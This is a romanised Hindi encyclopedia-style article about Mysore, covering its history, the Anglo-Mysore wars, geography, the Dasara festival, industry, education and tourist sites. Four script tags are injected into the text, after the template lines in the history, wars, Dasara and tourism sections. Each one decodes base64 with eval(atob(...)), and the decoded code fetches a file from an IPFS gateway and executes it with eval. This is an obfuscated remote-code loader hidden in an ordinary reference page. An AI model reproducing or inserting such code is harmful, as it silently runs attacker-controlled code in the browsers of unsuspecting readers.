मैसूर

maisoor

maisoor paryatan

maisoor zila

maisoor
maharaja pailes, maisoor|200px|center
vivaran	maisoor shahar, dakshin-madhy karnatak, bhootapoorv maisoor rajy, dakshini bharat mean sthit hai.
rajy	karnatak
zila	maisoor
bhaugolik sthiti	uttar- 12°3', poorv- 76°65'
marg sthiti	maisoor shahar s dak dvara baiangalor se 139 kilomitar, hampi se 400 kilomitar, dilli se 2,230 kilomitar ki doori par sthit hai.
kab jaean	aktoobar se march
kaise pahuanchean	havaee jahaz, rel v s dak marg dvara pahuancha ja sakata hai.
havaee adda	maisoor havaee adda
relave steshan	maisoor relave steshan
bas adda	maisoor siti bas adda
yatayat	aauto riksha, bas, taimpo, saikil riksha
kya dekhean	maisoor paryatan
kahaan thaharean	hotal, dharmashala, atithi grah
kya khayean	maisoor pak, ragi aur akki roti, idali saanbhar, masala puri
kya kharidean	silk ki sa diyaan, chandan ki lak di ke saman
es.ti.di. kod	0821
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr
bhasha	kann d bhasha, aangrezi, tamil, hindi
any janakari	1799 ee. se 1831 ee. tak yah maisoor riyasat ki prashasanik rajadhani tha aur ab maisoor bangalor ke bad karnatak rajy ka doosara sabase b da shahar hai.
bahari k diyaan	adhikarik vebasait
adyatan‎	12:30, 5 aktoobar 2011 (IST)

maisoor shahar, dakshin-madhy karnatak, bhootapoorv maisoor rajy, dakshini bharat mean sthit hai. yah chamuandi paha di ke pashchimottar mean 770 mitar ki ooanchaee par laharadar dakkan pathar par kaveri nadi v kabbani nadi ke bich sthit hai. 1799 ee. se 1831 ee. tak yah maisoor riyasat ki prashasanik rajadhani tha aur ab bangalor ke bad karnatak rajy ka doosara sabase b da shahar hai. maisoor bharatiy ganatantr mean sammilit ek rajy tatha nagar hai. isaki sima uttar-pashchim muanbee, poorv mean andhr pradesh, dakshin-poorv mean tamilanadu aur dakshin-pashchim mean keral rajyoan se ghiri huee hai. apani krep silk ki sa diyoan, chandan ke tel aur chandan ki lak di se bane saman ke lie mashahoor yah sthan vudayar vansh ke shasan kal mean unaki rajadhani hua karata tha. vudayar raja kala aur sanskriti premi the. apane 150 varsh ke shasan kal mean unhoanne ise bahut badhava diya. us dauran maisoor dakshin ki saanskritik rajadhani ban gaya. maisoor mahaloan, bagichoan aur mandiroan ka nagar hai. aj bhi isaki khoobasoorati qayam hai. karnatak sangit v nrity ka yah pramukh keandr hai.

pauranik ullekh

maisoor shahar ke as-pas ki bhoomi par varsha ke jal se bhare uthale jalashay haian. is sthan ka ullekh mahakavy mahabharat mean 'mahishmati' ke roop mean hua hai. maury kal, tisari shatabdi ee. poo. mean yah 'poorigere' ke nam se vikhyat tha. mahishmandal mahishak log mahishmati, narmada ghati se pravas kar yahaan par bas ge the. bad mean yah mahishasur kahalaya tha.

itihas

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maisoor shahar ka itihas atyant prachin hai. isake prachinatam shasak kadamb vansh ke the, jinaka ullekh t aaulmi ne kiya hai. kadamboan ko cheroan, pallavoan aur chalukyoan se yuddh karana p da tha. 12vian shatabdi mean jakar maisoor ka shasan kadamboan ke hathoan se hoyasaloan ke hathoan mean aya, jinhoanne dvarasamudr athava adhunik halebid ko apani rajadhani banaya tha. hoyasal raja rayachandr se hi alauddin khilazi ne maisoor jitakar apane rajy mean sammilit kiya tha. isake uparant maisoor vijayanagar rajy mean sammilit kar liya gaya aur usake vighatan ke uparant 1610 ee. mean vah pun: sthaniy hindoo raja ke adhikar mean a gaya tha. [[chitr:Tipu-Sultan.jpg|thumb|left| tipoo sultan]] is rajavansh ke chauthe uttaradhikari chikk devaraj ne maisoor ki shakti aur satta mean ullekhaniy vriddhi ki. kintu 18vian shatabdi ke madhy mean usaka rajavansh haidarali dvara apadasth kar diya gaya tha aur usake putr tipoo sultan ne 1799 ee. tak us par rajy kiya. tipoo ki parajay aur mrityu ke uparant vijayi aangrezoan ne maisoor ko sanrakshit rajy banakar vahaan ek paanch varshiy balak krishnaraj vadiyar ko sianhasan par baithaya tha. krishnaraj atyant ayogy shasak siddh hua, 1821 ee. mean british sarakar ne shasan prabandh apane hathoan mean le liya, parantu 1867 ee. mean krishna ke uttaradhikari cham rajendr ko pun: shasan sauanp diya. us samay se is sushasit rajy ka 1947 ee. mean bharatiy sangh mean vilay kar diya gaya.

maisoor-yuddh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1761 ee. mean haidar ali ne maisoor mean hindoo shasak ke oopar niyantran sthapit kar liya. nirakshar hone ke bad bhi haidar ki sainik evan rajanitik yogyata advitiy thi. usake fraansisiyoan se achchhe sambandh the. haidar ali ki yogyata, kootanitik soojhaboojh evan sainik kushalata se marathe, nizam evan aangrez eershya karate the. haidar ali ne aangrezoan se bhi sahayog maanga tha, parantu aangrez isake lie taiyar nahian hue, kyoanki isase unaki rajanitik mahatvakaanksha poori n ho pati. bharat mean aangrezoan aur maisoor ke shasakoan ke bich char sainy muthabhe d huee thian. aangrezoan aur haidar ali tatha usake putr tipoo sultan ke bich samay-samay par yuddh hue. 32 varshoan (1767 se 1799 ee.) ke madhy mean ye yuddh chhe de ge the.

yuddh

[[chitr:Hyder-Ali.jpg|thumb|haidar ali]] bharat ke itihas mean char maisoor yuddh l de gaye haian, jo is prakar se haian-

1. pratham yuddh (1767 - 1769 ee.)
2. dvitiy yuddh (1780 - 1784 ee.)
3. tritiy yuddh (1790 - 1792 ee.)
4. chaturth yuddh (1799 ee.)

bhaugolik sanrachana

yah dakshini bharat ka ek rajy tha, jisaka punargathan sanh‌ 1956 mean bhasha ke adhar par kiya gaya tha. isake parinamasvaroop kann d bhashi kshetroan ko isamean mila diya gaya hai. isaka kshetraphal 74,210 varg mil hai. isake uttar mean maharashtr, poorv mean aandhr pradesh, dakshin mean keral aur madras evan pashchim mean goa evan arab sagar haian. maisoor ka dharatal ooancha nicha evan pathari hai. samudr tal se ooanchaee lagabhag 2,000 phut hai. prakritik banavat ke adhar par is do bhagoan mean vibhakt kiya ja sakata hai:

1. pashchim ka tatiy maidan
2. dakshini dakkan pradesh.

tatiy maidan malabar tat ka uttari bhag hai, jisaki chau daee bahut kam hai. isake pashchim mean pashchimi ghat ki paha diyaan haian, jinase chhot chhoti drutagamini nadiyaan nikalakar arab sagar mean vilin ho jati haian. poorvi bhag uchch maha di evan pathari pradesh hai. maisoor ke madhy mean, uttar se dakshin, pashchimi ghat ki paha diyaan hai. isake poorv mean prachin chattanoan se nirmit dakan ka bhag hai. uttar-poorv mean krishnaa, tuangabhadra evan bhima nadiyoan ka samatal uchch maidan hai.

jalavayu

yahaan ka tap sadharanat: ooancha rahata hai. ausat tap 27° selsiyas hai. tapaantar aantarik bhag mean adhik rahata hai. varsha pashchimi ghat ke pashchim mean adhik (375 seanmi. se adhik) evan poorv ke vrishtichhaya pradesh mean kam (50 seanmi. se kam) hoti hai. adhikaansh: varsha dakshin-poorvi manasoon se hoti hai. yahaan ki prakritik vanaspati sadabahar ke jangal haian, jinase sagaun, chandan, rajabud adi ki lak di prapt hoti hai. vanachchhadit kshetr 12,000 varg mil hai, jo sanpoorn kshetr ka 17 pratishat hai.

krishi

53.5 pratishatakshetr mean kheti hoti hai tatha 71.2% janasankhya krishi kary mean lagi huee hai. mukhy phasalean dhan, jvar, gehooan, dalahan mooangaphali, kapas adi haian. vagati kheti mean kahava, chay tatha rabar ka utpadan hota hai. pashupalan bhi mahattvapoorn hai. maisoor mean lagabhag 10 lakh rupaye ke mooly ki machhaliyaan prati varsh pak di jati haian. tuangabhadra evan ghataprabha adi 14 bahuuddeshyiy sianchaee yojanaean a rahi haian.

khanij padarth

sona hatti evan kamat shreniyoan mean, beangaluru evan chikamangaloor mean aisvestas tatha loha aur maianganiz, taanba, b aauksait, gandhak adi any kshetroan mean milate haian. koyala evan khanij tel ka abhav hai, jisaki poorti jal vidyut se ki jati hai. yah adhikaanshat: sharavati, bhadra evan tuangabhadra jalavidyut yojanaoan se prapt hoti hai.

saanskritik rajadhani

karnatak ki saanskritik rajadhani kahe jane vale maisoor ke nam se kee khas chijean ju di huee haian- maisoor mallige (vishesh pushp), maisoor ke reshami vastr, rajamahal, maisoor pak (mishtann), maisoor peta (pag di), maisoor vilyadale (pan) tatha aur bhi bahut-sari chizean. ye sab kuchh maisoor aur isake jivan ki pahachan haian lekin ye pahachan tab tak adhoori rahati haian jab tak is shahar mean pichhale 400 varshoan se lagatar manae ja rahe dashahara utsav ki bat n ki jae. yah maisoor ko rajy ke any ziloan aur shaharoan se alag karata hai. poorv mean ise 'navaratri' ke nam se hi jana jata tha lekin vadeyar rajavansh ke lokapriy shasak krishnaraj vadeyar ke samay mean ise dashahara kahane ka chalan shuroo hua. bharat hi nahian, kee bahari deshoan mean bhi is utsav ki badhati lokapriyata ko dhyan mean rakhate hue is varsh rajy sarakar ne ise rajyotsav (nad habba) ka darja diya hai.

maisoor ka dashahara

[[chitr:Jambu-Savari-Maysor-Dasara.jpg|thumb|320px|maisoor dashahare mean jamboo savari]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

paranparik utsah aur dhoom-dham ke sath manaya jane vala yah asuri shaktiyoan par devatv ke vijay ka das divasiy utsav har varsh aktoobar mahine mean manaya jata hai. dashahare ki paranpara ka itihas madhyakalin dakshin bharat ke advitiy vijayanagar samrajy ke samay se shuroo hota hai. harihar aur bukka nam ke do bhaiyoan dvara 12-13 vian shatabdi mean sthapit is samrajy mean dashahara utsav manaya jata tha. isaki rajadhani hampi ke daure par pahuanche kee videshi paryatakoan ne apane sansmaranoan tatha yatra vrittantoan mean is vishay mean likha hai. inamean domiangoj pej, pharnao noonij aur r aaubart sivel jaise paryatak bhi shamil haian. in lekhakoan ne hampi mean manae jane vale dashahara utsav ke bare mean kafi vistar se likha hai. vijayanagar shasakoan ki yahi paranpara varsh 1399 mean maisoor pahuanchi jab gujarat ke dvaraka se puragere (maisoor ka prachin nam) pahuanche do bhaiyoan yaduray aur krishnaray ne vadeyar rajagharane ki nianv dali. yaduray is rajagharane ke pahale shasak bane. unake putr chamaraj vadeyar pratham ne puragere ka nam 'maisoor' rakha. unhoanne vijayanagar samrajy ki adhinata bhi svikar ki. vadeyar rajaoan ke dashahara utsavoan se aj ke utsavoan ka chehara kafi alag ho chuka hai. ab yah ek antararashtriy utsav ban gaya hai. is utsav mean shamil hone ke lie desh aur duniya ke vibhinn hissoan se maisoor pahuanchane vale paryatak dashahara gatividhiyoan ki vividhataoan ko dekh dang rah jate haian. tej roshani mean nahaya maisoor mahal, phooloan aur pattiyoan se saje chadhave, saanskritik karyakram, khel-kood, gombe habba aur videshi mehamanoan se lekar jambo savari tak har bat unhean khas taur par akarshit karati hai. halaanki badalate samay ke sath bharat ke dharmik anushthanoan se pramukh karak ke roop mean dharm ki batean door hoti ja rahi haian lekin sajag paryatak chahe to dashahara utsav mean dharm ka aansh ghareloo ayojanoan mean aj bhi dekh sakata hai.

yatayat aur parivahan

maisoor shahar do uttari relamargoan ke jankshan par sthit hai aur bharat ki pramukh pashchimi s dak pranali par ek mahattvapoorn vibhajak biandu hai.

vayu marg

maisoor mean maisoor havaee adda hai, jo shahar se 12 kilomitar ki doori par hai. yahaan se sabhi pramukh shaharoan ke lie u danean ati-jati haian.

rel marg

baiangalor se maisoor ke bich anek relean chalati haian. shatabdi eksapres maisoor ko chennee se jo dati hai.

s dak marg

rajy rajamarg maisoor ko rashtriy rajamarg se jo date haian. karnatak s dak parivahan nigam aur p dosi rajyoan ke parivahan nigam tatha niji parivahan kanpaniyoan ki basean maisoor se vibhinn rajyoan ke bich chalati haian. yah shahar s dak dvara baiangalor se 139 kilomitar, hampi se 400 kilomitar, dilli se 2,230 kilomitar doori par sthit hai.

udyog aur vyapar

maisoor ek mahattvapoorn nirman evan vyaparik keandr hai. maisoor mean sooti evan reshami vastr, chaval, tel ki milean, chandan ka tel aur rasayanik urvarak udyog haian. shahar ke udyogoan ko bijali poorv mean sthit shivasamudram ke nikat panabijali grih se milati hai. maisoor ke kutir udyogoan mean bunaee, tanbakoo, k aaufi prasanskaran aur bi di nirman shamil haian. yah kshetr hathidaant, dhatu aur lak di ki apani karigari ke lie prasiddh hai. [[chitr:Mysore-Palace-2.jpg|thumb|250px|left|maisoor ka maharaja pailes]] relave steshan ke pas sthit bazar sthaniy krishi utpadoan ke lie sangrahan keandr ka kam karata hai. maisoor mean kali mitti ke vishal bhoobhag par kapas ugaya jata hai. yahaan se chaval, mota anaj aur tilahan ka niryat kiya jata hai. maisoor ki sarakari silk phaiktari mean maisoor ki silk ki sa diyaan banati haian. reshami vastr, cham de, abhooshan, tokari, rassi, chandan, hathidaant ki vastuean adi ke kutir udyog tatha vastr udyog shreangalooroo maisoor, ballari adi mean, lohe evan ispat ka udyog bhadravati mean, simeant shahabad evan bhadravati mean, diyasalaee shivamoga mean, ooni evan ranshami vastr beangळooroo evan maiansoor mean, kagaz bhadravati mean tatha teliphon, havaee jahaj adi ke udyog beangळooroo mean haian.

shikshan sansthan

[[chitr:Mysore-University-2.jpg|thumb| maisoor vishvavidyalay]] maisoor ati sundar parishkrit nagar hai. maisoor mean 1916 mean sthapit maisoor vishvavidyalay aur kee sanbaddh mahavidyalay haian, jinamean maharaja k aaulej, mahilaoan ke lie maharani k aaulej, yuvaraj saians k aaulej, sharadavilas terejiyan v any k aaulej shamil haian. yahaan karnatak rajy mukt vishvavidyalay ka keandr hai. any shaikshanik sansthanoan mean neshanal ianstityoot aauf ianjiniyariang, es. je. k aaulej aauf ianjiniyariang, vidyavarddhak k aaulej aauf ianjiniyariang, maisoor medikal k aaulej, je. es. es. medikal k aaulej, je. es. es. deantal aiand farmesi k aaulej, farooqiya deantal eand farmesi k aaulej, es. di. em. ianstityoot aauf mainejameant, vidya vikas k aaulej aauf hotal mainejameant, je. es. es. l aau k aaulej, sharada l aau k aaulej, vi. vi. l aau k aaulej aur mahajan l aau k aaulej shamil haian. kann d sanskriti ki pronnati ke lie bhi kee sansthan haian.

sangrahalayoan ka shahar

mahaloan ke shahar ke nam se mashahoor maisoor mean bisiyoan sangrahalay is shahar ki dharoharoan ko sanjone ka kam kar rahe haian. in sangrahalayoan mean vishesh haian-

1. jayachamarajendr sangrahalay tatha kala dirgha
2. prakritik itihas sangrahalay
3. lokakatha sangrahalay
4. oriyeantal risarch ianstitayoot (oaraee)
5. rel sangrahalay
6. maisoor mahal
7. vadeyar rajagharane ke vartaman uttaradhikari shrikaantadatt narasianharaj vadeyar ka niji sangrahalay.

visheshajnoan ka kahana hai ki in sabhi sangrahalayoan mean kafi prabhavashali dhang se itihas ko sanjokar rakhane ka prayas kiya kiya gaya hai lekin is samay zaroorat is bat ki hai ki in sangrahalayoan mean rakhi samriddh dharoharoan koan bhi maisoor ane vale paryatakoan ke bich bhi lokapriy banaya jae.

paryatan

[[chitr:Nandi-Chamundi-Hill.jpg|thumb|250px|chamuandi parvat par nandi ki moorti]]

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maisoor ati sundar parishkrit nagar hai. yah ek paryatan sthal bhi hai. maisoor mean kee aitihasik imaratean haian. maisoor mean qile, paha diyaan evan jhilean bhi haian. maisoor mahaloan, bagichoan aur mandiroan ka nagar hai. aj bhi isaki khoobasoorati qayam hai. maisoor mahaloan, bagichoan aur mandiroan ka nagar hai. aj bhi isaki khoobasoorati qayam hai. karnatak sangit v nrity ka yah pramukh keandr hai. poorv mean sthit somanathapur mean hoyasal vansh dvara rnirmit (1268 ee.) ek mandir hai.

purana qila

18vian shatabdi mean yooropiy shaili mean pun:nirmit ek purana qila, maisoor ke madhy mean sthit hai. qile ke dayare mean maharaja mahal (1897 ee.) hai, jisamean hathidaant v sone se nirmit sianhasan hai.

park evan imaratean

maisoor mean karzan park, silvar jubali kl aauk tavar (1927 ee.), gaandhi chauk aur maharaja ki do moortiyaan paryatakoan ke akarshan ka keandr haian. pashchim mean gordon park ke nikat bhootapoorv british rezideansi (1805), prakhyat orieantal laibreri, vishvavidyalay bhavan, sarvajanik karyalay, jagamohan mahal aur lalita mahal adi any prasiddh imaratean haian. [[chitr:Chamundi-Hill.jpg|thumb|250px|left|chamuandi paha di, maisoor]]

paha diyaan evan jhil

tirthayatri b di sankhya mean chamuandi paha di par lagabhag 1,064 mitar door jate haian, jahaan shiv ke pavitr bail, nandi ki akhandit moorti hai. is shikhar se dakshin ki or sthit nilagiri paha diyoan ka suandar nazara dekha ja sakata hai. kaveri nadi par maisoor ke pashchimottar mean 19 kilomitar ki doori par sthit vishal krishnarav jhil hai, jisamean baandh bhi bana hai. is baandh ke niche favvare v jharaneyukt sidhidar vrindavan udyan haian, jin par rat mean roshani ki jati hai.

abhayarany

poorv mean sthit somanathapur mean hoyasal vansh dvara nirmit (1268 ee.) ek mandir hai. venugopal vany jiv udyan ke ek bhag baandipur abhayarany tak maisoor se pahuancha ja sakata hai. yah gaur, bharatiy baisan aur chital ke jhuandoan ke lie vikhyat hai. yahaan ghoomane ke lie s dakoan ka sanjal hai. isase lagakar hi tamilanadu rajy ka mudumalaee vanyajiv abhayarany sthit hai. yah kaveri v usaki nadiyoan ka apavah kshetr hai.

kharidadari

thumb|250px|somanathapur mandir, maisoor silk ki sa diyoan ko lene ke liy ap kear sarkal par bane phaiktari shoroom aur thok bazar ja sakate haian. maisoor ki asali chandan ki lak di ke saman lie sayyaji rav rod par bane kaveri art eanporiyam ja sakate haian. yah eanporiyam sarakar dvara sanchalit hai. sayyaji rav rod par bani devaraj bazar mean khoobasoorat shahari chitrakari kari tasavir milati haian. is bazar mean bahut saph-saphaee hai.

janasankhya

2001 ki janaganana ke anusar maisoor shahar ki janasankhya 7,42,261 hai. maisoor zile ki kul janasankhya 26,24,911 hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

• chitr:St-Philomena-Church-Mysore.jpg

  seant philomena charch, maisoor

• chitr:Rail-Museum-Mysore.jpg

  rel sangrahalay, maisoor

• chitr:Jaganmohan-Palace-Mysore.jpg

  jaganamohan mahal, maisoor

• chitr:Town-Hall-Mysore.jpg

  taun h aaul, maisoor

• chitr:Clock-Tower-Mysore.jpg

  silvar jubali kl aauk tavar, maisoor

• chitr:Karanji-Lake.jpg

  karanji jhil, maisoor

• chitr:Cheluvamba-Mansion-Mysore.jpg

  chelavamba mahal, maisoor

• chitr:Lalitha-Mahal-Palace-Mysore.jpg

  lalita mahal, maisoor

• chitr:Leapord-Mysore-Zoo.jpg

  teandua, maisoor chi diyaghar

• chitr:Krishnaraja-Sagar-Dam-Mysore.jpg

  krishnaraj sagar baandh, maisoor

• chitr:Nanjangud-Temple-Mysore.jpg

  nanjanagud mandir, maisoor

• chitr:Mysore-Palace-1.jpg

  maharaja pailes, maisoor

• chitr:Mysore-Palace-3.jpg

  maharaja pailes, maisoor

bahari k diyaan

• adhikarik vebasait
• maisoor